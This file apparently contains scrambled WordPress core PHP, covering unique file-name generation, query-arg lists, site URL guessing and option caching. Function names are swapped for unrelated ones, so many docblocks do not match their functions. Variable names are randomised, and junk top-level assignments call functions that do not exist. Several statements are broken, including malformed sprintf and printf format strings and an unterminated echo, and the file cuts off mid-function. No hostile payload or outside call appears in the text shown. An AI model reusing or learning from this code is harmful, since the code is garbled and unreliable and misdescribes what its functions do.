$rewrite_node = pathinfo($cached_response, PATHINFO_FILENAME);
// Always append a number to file names that can potentially match image sub-size file names.
if ($rewrite_node && preg_match('/-(?:\d+x\d+|scaled|rotated)$/', $rewrite_node)) {
$not_open_style = 1;
// At this point the file name may not be unique. This is tested below and the $not_open_style is incremented.
$cached_response = str_replace("{$rewrite_node}{$font_sizes_by_origin}", "{$rewrite_node}-{$not_open_style}{$font_sizes_by_origin}", $cached_response);
}
/*
* Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext()
* in autosaved(). Using wp_check_filetype() would be sufficient here.
*/
$commandline = wp_check_filetype($cached_response);
$doing_wp_cron = $commandline['type'];
$current_wp_scripts = !empty($doing_wp_cron) && str_starts_with($doing_wp_cron, 'image/');
$rel_parts = wp_get_upload_dir();
$last_dir = null;
$mf_item = strtolower($font_sizes_by_origin);
$minimum_font_size = trailingslashit($columns_selector);
/*
* If the extension is uppercase add an alternate file name with lowercase extension.
* Both need to be tested for uniqueness as the extension will be changed to lowercase
* for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9
* where uppercase extensions were allowed but image sub-sizes were created with
* lowercase extensions.
*/
if ($font_sizes_by_origin && $mf_item !== $font_sizes_by_origin) {
$last_dir = preg_replace('|' . preg_quote($font_sizes_by_origin) . '$|', $mf_item, $cached_response);
}
/*
* Increment the number added to the file name if there are any files in $columns_selector
* whose names match one of the possible name variations.
*/
while (file_exists($minimum_font_size . $cached_response) || $last_dir && file_exists($minimum_font_size . $last_dir)) {
$dictionary = (int) $not_open_style + 1;
if ($last_dir) {
$last_dir = str_replace(array("-{$not_open_style}{$mf_item}", "{$not_open_style}{$mf_item}"), "-{$dictionary}{$mf_item}", $last_dir);
}
if ('' === "{$not_open_style}{$font_sizes_by_origin}") {
$cached_response = "{$cached_response}-{$dictionary}";
} else {
$cached_response = str_replace(array("-{$not_open_style}{$font_sizes_by_origin}", "{$not_open_style}{$font_sizes_by_origin}"), "-{$dictionary}{$font_sizes_by_origin}", $cached_response);
}
$not_open_style = $dictionary;
}
// Change the extension to lowercase if needed.
if ($last_dir) {
$cached_response = $last_dir;
}
/*
* Prevent collisions with existing file names that contain dimension-like strings
* (whether they are subsizes or originals uploaded prior to #42437).
*/
$tempdir = array();
$bookmarks = 10000;
// The (resized) image files would have name and extension, and will be in the uploads dir.
if ($tablefield_field_lowercased && $font_sizes_by_origin && @is_dir($columns_selector) && str_contains($columns_selector, $rel_parts['basedir'])) {
/**
* Filters the file list used for calculating a unique filename for a newly added file.
*
* Returning an array from the filter will effectively short-circuit retrieval
* from the filesystem and return the passed value instead.
*
* @since 5.5.0
*
* @param array|null $tempdir The list of files to use for filename comparisons.
* Default null (to retrieve the list from the filesystem).
* @param string $columns_selector The directory for the new file.
* @param string $cached_response The proposed filename for the new file.
*/
$tempdir = apply_filters('pre_add_object_page_file_list', null, $columns_selector, $cached_response);
if (null === $tempdir) {
// List of all files and directories contained in $columns_selector.
$tempdir = @scandir($columns_selector);
}
if (!empty($tempdir)) {
// Remove "dot" dirs.
$tempdir = array_diff($tempdir, array('.', '..'));
}
if (!empty($tempdir)) {
$bookmarks = count($tempdir);
/*
* Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check,
* but string replacement for the changes.
*/
$block_hooks = 0;
while ($block_hooks <= $bookmarks && _wp_check_existing_file_names($cached_response, $tempdir)) {
$dictionary = (int) $not_open_style + 1;
// If $font_sizes_by_origin is uppercase it was replaced with the lowercase version after the previous loop.
$cached_response = str_replace(array("-{$not_open_style}{$mf_item}", "{$not_open_style}{$mf_item}"), "-{$dictionary}{$mf_item}", $cached_response);
$not_open_style = $dictionary;
++$block_hooks;
}
}
}
/*
* Check if an image will be converted after uploading or some existing image sub-size file names may conflict
* when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes.
*/
if ($current_wp_scripts) {
/** This filter is documented in wp-includes/class-wp-image-editor.php */
$visibility = apply_filters('image_editor_output_format', array(), $minimum_font_size . $cached_response, $doing_wp_cron);
$link_headers = array();
if (!empty($visibility[$doing_wp_cron])) {
// The image will be converted to this format/mime type.
$js_array = $visibility[$doing_wp_cron];
// Other types of images whose names may conflict if their sub-sizes are regenerated.
$link_headers = array_keys(array_intersect($visibility, array($doing_wp_cron, $js_array)));
$link_headers[] = $js_array;
} elseif (!empty($visibility)) {
$link_headers = array_keys(array_intersect($visibility, array($doing_wp_cron)));
}
// Remove duplicates and the original mime type. It will be added later if needed.
$link_headers = array_unique(array_diff($link_headers, array($doing_wp_cron)));
foreach ($link_headers as $plugin_realpath) {
$upload_port = wp_get_default_extension_for_mime_type($plugin_realpath);
if (!$upload_port) {
continue;
}
$upload_port = ".{$upload_port}";
$ASFHeaderData = preg_replace('|' . preg_quote($mf_item) . '$|', $upload_port, $cached_response);
$nextframetestarray[$upload_port] = $ASFHeaderData;
}
if (!empty($nextframetestarray)) {
/*
* Add the original filename. It needs to be checked again
* together with the alternate filenames when $not_open_style is incremented.
*/
$nextframetestarray[$mf_item] = $cached_response;
// Ensure no infinite loop.
$block_hooks = 0;
while ($block_hooks <= $bookmarks && _wp_check_alternate_file_names($nextframetestarray, $minimum_font_size, $tempdir)) {
$dictionary = (int) $not_open_style + 1;
foreach ($nextframetestarray as $upload_port => $ASFHeaderData) {
$nextframetestarray[$upload_port] = str_replace(array("-{$not_open_style}{$upload_port}", "{$not_open_style}{$upload_port}"), "-{$dictionary}{$upload_port}", $ASFHeaderData);
}
/*
* Also update the $not_open_style in (the output) $cached_response.
* If the extension was uppercase it was already replaced with the lowercase version.
*/
$cached_response = str_replace(array("-{$not_open_style}{$mf_item}", "{$not_open_style}{$mf_item}"), "-{$dictionary}{$mf_item}", $cached_response);
$not_open_style = $dictionary;
++$block_hooks;
}
}
}
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
* @since 5.8.1 The `$nextframetestarray` and `$not_open_style` parameters were added.
*
* @param string $cached_response Unique file name.
* @param string $font_sizes_by_origin File extension. Example: ".png".
* @param string $columns_selector Directory path.
* @param callable|null $content_from Callback function that generates the unique file name.
* @param string[] $nextframetestarray Array of alternate file names that were checked for collisions.
* @param int|string $not_open_style The highest number that was used to make the file name unique
* or an empty string if unused.
*/
return apply_filters('add_object_page', $cached_response, $font_sizes_by_origin, $columns_selector, $content_from, $nextframetestarray, $not_open_style);
}
$required_mysql_version = 'b6tq';
// submitlinks(), and submittext()
$MessageID = 'toxlem';
// [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
// WORD m_wQuality; // alias for the scale factor
//so we don't.
// this software the author can not be responsible.
$required_mysql_version = quotemeta($MessageID);
// Plugin or theme slug.
// Prepare panels.
$constants = 'o9vswetx';
$decompressed = 'qyaw2';
// Clean up empty query strings.
$constants = quotemeta($decompressed);
// Create the post.
/**
* Returns an array of single-use query variable names that can be removed from a URL.
*
* @since 4.4.0
*
* @return string[] An array of query variable names to remove from the URL.
*/
function wp_send_new_user_notifications()
{
$feedregex2 = array('activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload');
/**
* Filters the list of query variable names to remove.
*
* @since 4.2.0
*
* @param string[] $feedregex2 An array of query variable names to remove from a URL.
*/
return apply_filters('removable_query_args', $feedregex2);
}
$f4g0 = 'k08ojxy';
$f0f1_2 = get_sessions($f4g0);
$enqueued = 'uf4d';
// End Application Passwords.
$thumbnail_support = 'miroynm7';
$enqueued = bin2hex($thumbnail_support);
$v_dirlist_descr = 'zf0kkx4';
// Add in the current one if it isn't there yet, in case the active theme doesn't support it.
/**
* Checks whether a header video is set or not.
*
* @since 4.7.0
*
* @see get_header_video_url()
*
* @return bool Whether a header video is set or not.
*/
function the_author_url()
{
return (bool) get_header_video_url();
}
// We should aim to show the revisions meta box only when there are revisions.
// (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2);
$recurrence = 'rc8w1mxn1';
$v_dirlist_descr = stripcslashes($recurrence);
$thisfile_riff_raw = 'dv1r';
$thisfile_wavpack = 'qq7he';
// Create TOC.
// Single word or sentence search.
// CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
$thisfile_riff_raw = urlencode($thisfile_wavpack);
// s8 += carry7;
// Query taxonomy terms.
/**
* Displays the previous posts page link.
*
* @since 0.71
*
* @param string $v_central_dir Optional. Previous page link text.
*/
function delete_all_application_passwords($v_central_dir = null)
{
echo get_delete_all_application_passwords($v_central_dir);
}
$valid_check = 'znt4wp';
// [9A] -- Set if the video is interlaced.
// ----- Default values for option
/**
* Display a `noindex,noarchive` meta tag and referrer `strict-origin-when-cross-origin` meta tag.
*
* Outputs a `noindex,noarchive` meta tag that tells web robots not to index or cache the page content.
* Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
* the full URL as a referrer to other sites when cross-origin assets are loaded.
*
* Typical usage is as a {@see 'wp_head'} callback:
*
* add_action( 'wp_head', 'pointer_wp340_choose_image_from_library' );
*
* @since 5.0.1
* @deprecated 5.7.0 Use wp_robots_sensitive_page() instead on 'wp_robots' filter
* and wp_strict_cross_origin_referrer() on 'wp_head' action.
*
* @see wp_robots_sensitive_page()
*/
function pointer_wp340_choose_image_from_library()
{
_deprecated_function(__FUNCTION__, '5.7.0', 'wp_robots_sensitive_page()');
wp_strict_cross_origin_referrer();
}
$constants = 'may6l77';
// Handle proxies.
$f0f9_2 = 'vs5ruat';
$valid_check = chop($constants, $f0f9_2);
$public_post_types = 'hlh0le';
//If utf-8 encoding is used, we will need to make sure we don't
$page_columns = get_category_parents($public_post_types);
/**
* Gets the week start and end from the datetime or date string from MySQL.
*
* @since 0.71
*
* @param string $network_plugin Date or datetime field type from MySQL.
* @param int|string $first_open Optional. Start of the week as an integer. Default empty string.
* @return int[] {
* Week start and end dates as Unix timestamps.
*
* @type int $canonicalizedHeaders The week start date as a Unix timestamp.
* @type int $getid3_ogg The week end date as a Unix timestamp.
* }
*/
function readByte($network_plugin, $first_open = '')
{
// MySQL string year.
$metakey = substr($network_plugin, 0, 4);
// MySQL string month.
$figure_styles = substr($network_plugin, 8, 2);
// MySQL string day.
$old_theme = substr($network_plugin, 5, 2);
// The timestamp for MySQL string day.
$VendorSize = mktime(0, 0, 0, $old_theme, $figure_styles, $metakey);
// The day of the week from the timestamp.
$duotone_presets = gmdate('w', $VendorSize);
if (!is_numeric($first_open)) {
$first_open = get_option('start_of_week');
}
if ($duotone_presets < $first_open) {
$duotone_presets += 7;
}
// The most recent week start day on or before $VendorSize.
$canonicalizedHeaders = $VendorSize - DAY_IN_SECONDS * ($duotone_presets - $first_open);
// $canonicalizedHeaders + 1 week - 1 second.
$getid3_ogg = $canonicalizedHeaders + WEEK_IN_SECONDS - 1;
return compact('start', 'end');
}
$from_string = 'n4ayh8eo';
// The comment will only be viewable by the comment author for 10 minutes.
$compiled_core_stylesheet = 'lt2dzj66';
$from_string = sha1($compiled_core_stylesheet);
// This may be a value of orderby related to meta.
$required_mysql_version = 'f53wt7';
$unique_hosts = 'wi97';
$required_mysql_version = stripslashes($unique_hosts);
$copyright_label = 'aevw2g0';
$paddingBytes = attachAll($copyright_label);
// Link the container node if a grandparent node exists.
$font_faces = 'b3fafdgrs';
// phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
/**
* Adds REST rewrite rules.
*
* @since 4.4.0
*
* @see add_rewrite_rule()
* @global WP_Rewrite $check_dir WordPress rewrite component.
*/
function add_shortcode()
{
global $check_dir;
add_rewrite_rule('^' . rest_get_url_prefix() . '/?$', 'index.php?rest_route=/', 'top');
add_rewrite_rule('^' . rest_get_url_prefix() . '/(.*)?', 'index.php?rest_route=/$matches[1]', 'top');
add_rewrite_rule('^' . $check_dir->index . '/' . rest_get_url_prefix() . '/?$', 'index.php?rest_route=/', 'top');
add_rewrite_rule('^' . $check_dir->index . '/' . rest_get_url_prefix() . '/(.*)?', 'index.php?rest_route=/$matches[1]', 'top');
}
$drefDataOffset = 'um3d13ldh';
$font_faces = quotemeta($drefDataOffset);
$maybe_notify = 'ge5rjoq';
// This functionality is now in core.
$pagenum = 'ossjzsgvp';
$maybe_notify = nl2br($pagenum);
$pagenum = 'x222yplv4';
// Skip if gap value contains unsupported characters.
$formfiles = 'eig8un0';
// key_length
$pagenum = rtrim($formfiles);
$ep_mask = 'otd4n3';
# crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
$AC3syncwordBytes = RemoveStringTerminator($ep_mask);
/**
* Gets the name of category by ID.
*
* @since 0.71
* @deprecated 2.1.0 Use get_category()
* @see get_category()
*
* @param int $local The category to get. If no category supplied uses 0
* @return string
*/
function print_client_interactivity_data($local = 0)
{
_deprecated_function(__FUNCTION__, '2.1.0', 'get_category()');
$local = (int) $local;
if (empty($local)) {
return '';
}
$front_page = wp_get_link_cats($local);
if (empty($front_page) || !is_array($front_page)) {
return '';
}
$new_text = (int) $front_page[0];
// Take the first cat.
$RecipientsQueue = get_category($new_text);
return $RecipientsQueue->name;
}
$l10n_defaults = 'qvayw';
/**
* Adds `noindex` to the robots meta tag.
*
* This directive tells web robots not to index the page content.
*
* Typical usage is as a {@see 'wp_robots'} callback:
*
* add_filter( 'wp_robots', 'build_mysql_datetime' );
*
* @since 5.7.0
*
* @param array $opml Associative array of robots directives.
* @return array Filtered robots directives.
*/
function build_mysql_datetime(array $opml)
{
$opml['noindex'] = true;
if (get_option('blog_public')) {
$opml['follow'] = true;
} else {
$opml['nofollow'] = true;
}
return $opml;
}
$drefDataOffset = 'lalc38ed';
function current_filter($tested_wp)
{
return $tested_wp >= 400 && $tested_wp < 600;
}
// Create a new navigation menu from the classic menu.
/**
* Allow subdomain installation
*
* @since 3.0.0
* @return bool Whether subdomain installation is allowed
*/
function ArrayOfGenres()
{
$background_repeat = preg_replace('|https?://([^/]+)|', '$1', get_option('home'));
if (parse_url(get_option('home'), PHP_URL_PATH) || 'localhost' === $background_repeat || preg_match('|^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|', $background_repeat)) {
return false;
}
return true;
}
// Reset variables for next partial render.
// See rsd_link().
$l10n_defaults = strip_tags($drefDataOffset);
// $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
$email_address = 'wavexx1';
// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
// Get the allowed methods across the routes.
// Apply the same filters as when calling wp_insert_post().
// fe25519_copy(minust.Z, t->Z);
$thumbnails_parent = 'wre7yay';
// not as files.
// available at https://github.com/JamesHeinrich/getID3 //
// Populate the server debug fields.
$current_taxonomy = 'lcfzom4';
$email_address = addcslashes($thumbnails_parent, $current_taxonomy);
// Abort if the destination directory exists. Pass clear_destination as false please.
// Meta capabilities.
// File is an empty directory.
/**
* Displays text based on comment reply status.
*
* Only affects users with JavaScript disabled.
*
* @internal The $layout_selector_pattern global must be present to allow template tags access to the current
* comment. See https://core.trac.wordpress.org/changeset/36512.
*
* @since 2.7.0
* @since 6.2.0 Added the `$reconnect_retries` parameter.
*
* @global WP_Comment $layout_selector_pattern Global comment object.
*
* @param string|false $replacement Optional. Text to display when not replying to a comment.
* Default false.
* @param string|false $returnkey Optional. Text to display when replying to a comment.
* Default false. Accepts "%s" for the author of the comment
* being replied to.
* @param bool $old_wp_version Optional. Boolean to control making the author's name a link
* to their comment. Default true.
* @param int|WP_Post|null $reconnect_retries Optional. The post that the comment form is being displayed for.
* Defaults to the current global post.
*/
function get_most_recently_created_nav_menu($replacement = false, $returnkey = false, $old_wp_version = true, $reconnect_retries = null)
{
global $layout_selector_pattern;
if (false === $replacement) {
$replacement = __('Leave a Reply');
}
if (false === $returnkey) {
/* translators: %s: Author of the comment being replied to. */
$returnkey = __('Leave a Reply to %s');
}
$reconnect_retries = get_post($reconnect_retries);
if (!$reconnect_retries) {
echo $replacement;
return;
}
$continious = _get_comment_reply_id($reconnect_retries->ID);
if (0 === $continious) {
echo $replacement;
return;
}
// Sets the global so that template tags can be used in the comment form.
$layout_selector_pattern = get_comment($continious);
if ($old_wp_version) {
$overridden_cpage = sprintf('%2$NS', get_comment_ID(), get_comment_author($continious));
} else {
$overridden_cpage = get_comment_author($continious);
}
printf($returnkey, $overridden_cpage);
}
// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
// Clean up
// Display the category name.
// Normalize empty path to root
$blog_title = 'qn4g';
$formfiles = 'fi6f';
$blog_title = crc32($formfiles);
// [E0] -- Video settings.
/**
* Guesses the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function PushError()
{
if (defined('WP_SITEURL') && '' !== WP_SITEURL) {
$basedir = WP_SITEURL;
} else {
$numpoints = str_replace('\\', '/', ABSPATH);
$outkey2 = dirname($_SERVER['SCRIPT_FILENAME']);
// The request is for the admin.
if (str_contains($_SERVER['REQUEST_URI'], 'wp-admin') || str_contains($_SERVER['REQUEST_URI'], 'wp-login.php')) {
$num_remaining_bytes = preg_replace('#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI']);
// The request is for a file in ABSPATH.
} elseif ($outkey2 . '/' === $numpoints) {
// Strip off any file/query params in the path.
$num_remaining_bytes = preg_replace('#/[^/]*$#i', '', $_SERVER['PHP_SELF']);
} else if (str_contains($_SERVER['SCRIPT_FILENAME'], $numpoints)) {
// Request is hitting a file inside ABSPATH.
$carry20 = str_replace(ABSPATH, '', $outkey2);
// Strip off the subdirectory, and any file/query params.
$num_remaining_bytes = preg_replace('#/' . preg_quote($carry20, '#') . '/[^/]*$#i', '', $_SERVER['REQUEST_URI']);
} elseif (str_contains($numpoints, $outkey2)) {
// Request is hitting a file above ABSPATH.
$framelengthfloat = substr($numpoints, strpos($numpoints, $outkey2) + strlen($outkey2));
// Strip off any file/query params from the path, appending the subdirectory to the installation.
$num_remaining_bytes = preg_replace('#/[^/]*$#i', '', $_SERVER['REQUEST_URI']) . $framelengthfloat;
} else {
$num_remaining_bytes = $_SERVER['REQUEST_URI'];
}
$clientPublicKey = is_ssl() ? 'https://' : 'http://';
// set_url_scheme() is not defined yet.
$basedir = $clientPublicKey . $_SERVER['HTTP_HOST'] . $num_remaining_bytes;
}
return rtrim($basedir, '/');
}
$ep_mask = 'y8ox0ox';
// it encounters whitespace. This code strips it.
$pagenum = 'l98m4pg';
$ep_mask = crc32($pagenum);
$l10n_defaults = 'z6pglo';
$maybe_notify = 'mg5m764e';
$l10n_defaults = rawurlencode($maybe_notify);
// $block_hooksnfo['video']['frame_rate'] = max($block_hooksnfo['video']['frame_rate'], $NStts_new_framerate);
// Begin Loop.
$formfiles = 'mln3h3mej';
/**
* Remove all capabilities from user.
*
* @since 2.1.0
*
* @param int $local User ID.
*/
function wp_ajax_menu_locations_save($local)
{
$local = (int) $local;
$enabled = new WP_User($local);
$enabled->remove_all_caps();
}
$ep_mask = 'd6evrqcx';
// If it has a duotone filter preset, save the block name and the preset slug.
// http://gabriel.mp3-tech.org/mp3infotag.html
// Resize based on the full size image, rather than the source.
/**
* Updates all user caches.
*
* @since 3.0.0
*
* @param object|WP_User $enabled User object or database row to be cached
* @return void|false Void on success, false on failure.
*/
function maybe_disable_automattic_widgets($enabled)
{
if ($enabled instanceof WP_User) {
if (!$enabled->exists()) {
return false;
}
$enabled = $enabled->data;
}
wp_cache_add($enabled->ID, $enabled, 'users');
wp_cache_add($enabled->user_login, $enabled->ID, 'userlogins');
wp_cache_add($enabled->user_nicename, $enabled->ID, 'userslugs');
if (!empty($enabled->user_email)) {
wp_cache_add($enabled->user_email, $enabled->ID, 'useremail');
}
}
$formfiles = base64_encode($ep_mask);
$maybe_notify = 'md8p6';
// 0x03
$font_faces = 'hpk2xi';
$maybe_notify = htmlspecialchars_decode($font_faces);
$maxdeep = 'z9q0onos';
// [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
$maybe_notify = 'jg6dnfz';
$maxdeep = md5($maybe_notify);
/**
* Checks the wp-content directory and retrieve all drop-ins with any plugin data.
*
* @since 3.0.0
* @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See get_plugin_data().
*/
function block_core_calendar_update_has_published_posts()
{
$normalized_attributes = array();
$raw_setting_id = array();
$xi = _block_core_calendar_update_has_published_posts();
// Files in wp-content directory.
$deps = @opendir(WP_CONTENT_DIR);
if ($deps) {
while (($f2g6 = readdir($deps)) !== false) {
if (isset($xi[$f2g6])) {
$raw_setting_id[] = $f2g6;
}
}
} else {
return $normalized_attributes;
}
closedir($deps);
if (empty($raw_setting_id)) {
return $normalized_attributes;
}
foreach ($raw_setting_id as $newline) {
if (!is_readable(WP_CONTENT_DIR . "/{$newline}")) {
continue;
}
// Do not apply markup/translate as it will be cached.
$thisfile_riff_video_current = get_plugin_data(WP_CONTENT_DIR . "/{$newline}", false, false);
if (empty($thisfile_riff_video_current['Name'])) {
$thisfile_riff_video_current['Name'] = $newline;
}
$normalized_attributes[$newline] = $thisfile_riff_video_current;
}
uksort($normalized_attributes, 'strnatcasecmp');
return $normalized_attributes;
}
$pagenum = 'r6l1v';
$non_supported_attributes = 'jlve7hckn';
// WordPress features requiring processing.
// Is the archive valid?
// seq_parameter_set_id // sps
// Over-rides default call method, adds signature check
// Create TOC.
$pagenum = strtr($non_supported_attributes, 12, 10);
$block_spacing_values = 'pu476a4';
// Handle $plen error from the above blocks.
$block_spacing_values = urlencode($block_spacing_values);
// Validates that the source properties contain the label.
/**
* Sets a cookie for a user who just logged in. This function is deprecated.
*
* @since 1.5.0
* @deprecated 2.5.0 Use wp_set_auth_cookie()
* @see wp_set_auth_cookie()
*
* @param string $connection_lost_message The user's username
* @param string $removed_args Optional. The user's password
* @param bool $format_arg_value Optional. Whether the password has already been through MD5
* @param string $bitratecount Optional. Will be used instead of COOKIEPATH if set
* @param string $editor_settings Optional. Will be used instead of SITECOOKIEPATH if set
* @param bool $gen_dir Optional. Remember that the user is logged in
*/
function wp_get_comment_fields_max_lengths($connection_lost_message, $removed_args = '', $format_arg_value = false, $bitratecount = '', $editor_settings = '', $gen_dir = false)
{
_deprecated_function(__FUNCTION__, '2.5.0', 'wp_set_auth_cookie()');
$enabled = get_user_by('login', $connection_lost_message);
wp_set_auth_cookie($enabled->ID, $gen_dir);
}
// enable_update_services_configuration
// ----- Look for abort result
/**
* Primes specific options into the cache with a single database query.
*
* Only options that do not already exist in cache will be loaded.
*
* @since 6.4.0
*
* @global wpdb $paginate WordPress database abstraction object.
*
* @param string[] $format_keys An array of option names to be loaded.
*/
function wp_ajax_delete_inactive_widgets($format_keys)
{
global $paginate;
$thisfile_riff_WAVE_bext_0 = wp_load_alloptions();
$block_nodes = wp_cache_get_multiple($format_keys, 'options');
$memory_limit = wp_cache_get('notoptions', 'options');
if (!is_array($memory_limit)) {
$memory_limit = array();
}
// Filter options that are not in the cache.
$current_site = array();
foreach ($format_keys as $new_w) {
if ((!isset($block_nodes[$new_w]) || false === $block_nodes[$new_w]) && !isset($thisfile_riff_WAVE_bext_0[$new_w]) && !isset($memory_limit[$new_w])) {
$current_site[] = $new_w;
}
}
// Bail early if there are no options to be loaded.
if (empty($current_site)) {
return;
}
$outputLength = $paginate->get_results($paginate->prepare(sprintf("SELECT option_name, option_value FROM {$paginate->options} WHERE option_name IN (%s)", implode(',', array_fill(0, count($current_site), '%s'))), $current_site));
$received = array();
foreach ($outputLength as $plen) {
/*
* The cache is primed with the raw value (i.e. not maybe_unserialized).
*
* `get_option()` will handle unserializing the value as needed.
*/
$received[$plen->option_name] = $plen->option_value;
}
wp_cache_set_multiple($received, 'options');
// If all options were found, no need to update `notoptions` cache.
if (count($received) === count($current_site)) {
return;
}
$last_time = array_diff($current_site, array_keys($received));
// Add the options that were not found to the cache.
$common_args = false;
foreach ($last_time as $pass_frag) {
if (!isset($memory_limit[$pass_frag])) {
$memory_limit[$pass_frag] = true;
$common_args = true;
}
}
// Only update the cache if it was modified.
if ($common_args) {
wp_cache_set('notoptions', $memory_limit, 'options');
}
}
$block_spacing_values = 'xrj0hxg';
$block_spacing_values = trim($block_spacing_values);
$gradient_presets = 'eij7c';
$gradient_presets = levenshtein($gradient_presets, $gradient_presets);
$gradient_presets = 'lyrgfzf';
$gradient_presets = strip_tags($gradient_presets);
$font_size_unit = 'rpqw';
// Global styles can be enqueued in both the header and the footer. See https://core.trac.wordpress.org/ticket/53494.
$block_spacing_values = 'z4pjrb96';
$font_size_unit = strtolower($block_spacing_values);
// Shim for old method signature: add_node( $f5g1_2_id, $menu_obj, $QuicktimeVideoCodecLookup ).
$gradient_presets = 'wll1px76';
$block_spacing_values = 'vp9gern';
// @todo Avoid the JOIN.
$gradient_presets = strcoll($block_spacing_values, $gradient_presets);
/**
* @see ParagonIE_Sodium_Compat::ristretto255_scalar_complement()
*
* @param string $NS
* @return string
* @throws SodiumException
*/
function upgrade_110($NS)
{
return ParagonIE_Sodium_Compat::ristretto255_scalar_complement($NS, true);
}
$block_spacing_values = 'mjas';
$box_index = 'm83jgj2k5';
/**
* Displays localized stylesheet link element.
*
* @since 2.1.0
*/
function get_default_description()
{
$check_required = get_get_default_description_uri();
if (empty($check_required)) {
return;
}
$AC3header = current_theme_supports('html5', 'style') ? '' : ' type="text/css"';
printf('', $check_required, $AC3header);
}
// Strip multiple slashes out of the URL.
$block_spacing_values = str_repeat($box_index, 5);
// Resize based on the full size image, rather than the source.
$block_spacing_values = 'ea1sm';
// See how much we should pad in the beginning.
$font_size_unit = 'em2svp7x';
$block_spacing_values = base64_encode($font_size_unit);
$block_spacing_values = 'wsvav';
$font_size_unit = 'llyl';
$block_spacing_values = soundex($font_size_unit);
// s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 +
// If there are no old nav menu locations left, then we're done.
// Uh oh:
// Error data helpful for debugging:
// $maximum_font_size_raw8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38;
// Default to 'true' for logged out users.
$box_index = 'wn4k';
// Do not continue - custom-header-uploads no longer exists.
$font_size_unit = 'mbquzq';
$box_index = rawurldecode($font_size_unit);
// sanitize_post() skips the post_content when user_can_richedit.
// If the current theme does NOT have a `theme.json`, or the colors are not
// Parse arguments.
/**
* Returns the ID of the post's parent.
*
* @since 3.1.0
* @since 5.9.0 The `$reconnect_retries` parameter was made optional.
*
* @param int|WP_Post|null $reconnect_retries Optional. Post ID or post object. Defaults to global $reconnect_retries.
* @return int|false Post parent ID (which can be 0 if there is no parent),
* or false if the post does not exist.
*/
function crypto_box_seal($reconnect_retries = null)
{
$reconnect_retries = get_post($reconnect_retries);
if (!$reconnect_retries || is_wp_error($reconnect_retries)) {
return false;
}
return (int) $reconnect_retries->post_parent;
}
// ge25519_cmov8_cached(&t, pi, e[i]);
$overview = 'byb68ynz';
$overview = sha1($overview);
$overview = 'b4by09';
// int64_t a0 = 2097151 & load_3(a);
/**
* Registers a new field on an existing WordPress object type.
*
* @since 4.7.0
*
* @global array $f0f6_2 Holds registered fields, organized
* by object type.
*
* @param string|array $map Object(s) the field is being registered to,
* "post"|"term"|"comment" etc.
* @param string $before_headers The attribute name.
* @param array $QuicktimeVideoCodecLookup {
* Optional. An array of arguments used to handle the registered field.
*
* @type callable|null $get_callback Optional. The callback function used to retrieve the field value. Default is
* 'null', the field will not be returned in the response. The function will
* be passed the prepared object data.
* @type callable|null $update_callback Optional. The callback function used to set and update the field value. Default
* is 'null', the value cannot be set or updated. The function will be passed
* the model object, like WP_Post.
* @type array|null $clientPublicKey Optional. The schema for this field.
* Default is 'null', no schema entry will be returned.
* }
*/
function the_content_rss($map, $before_headers, $QuicktimeVideoCodecLookup = array())
{
global $f0f6_2;
$open_on_click = array('get_callback' => null, 'update_callback' => null, 'schema' => null);
$QuicktimeVideoCodecLookup = wp_parse_args($QuicktimeVideoCodecLookup, $open_on_click);
$control_tpl = (array) $map;
foreach ($control_tpl as $map) {
$f0f6_2[$map][$before_headers] = $QuicktimeVideoCodecLookup;
}
}
$overview = htmlspecialchars_decode($overview);
// when are files stale, default twelve hours
// Post author IDs for a NOT IN clause.
// If it's a known column name, add the appropriate table prefix.
// Select the first frame to handle animated images properly.
/**
* Prints out option HTML elements for the page templates drop-down.
*
* @since 1.5.0
* @since 4.7.0 Added the `$ParsedID3v1` parameter.
*
* @param string $default_keys Optional. The template file name. Default empty.
* @param string $ParsedID3v1 Optional. Post type to get templates for. Default 'page'.
*/
function release_lock($default_keys = '', $ParsedID3v1 = 'page')
{
$pending_starter_content_settings_ids = get_page_templates(null, $ParsedID3v1);
ksort($pending_starter_content_settings_ids);
foreach (array_keys($pending_starter_content_settings_ids) as $register_style) {
$backup_wp_scripts = selected($default_keys, $pending_starter_content_settings_ids[$register_style], false);
echo "\n\t';
}
}
// Back compat handles:
/**
* Copies an existing image file.
*
* @since 3.4.0
* @access private
*
* @param int $can_compress_scripts Attachment ID.
* @return string|false New file path on success, false on failure.
*/
function get_user_option($can_compress_scripts)
{
$PossiblyLongerLAMEversion_String = get_attached_file($can_compress_scripts);
$last_error_code = $PossiblyLongerLAMEversion_String;
if (!file_exists($last_error_code)) {
$last_error_code = _load_image_to_edit_path($can_compress_scripts);
}
if ($last_error_code) {
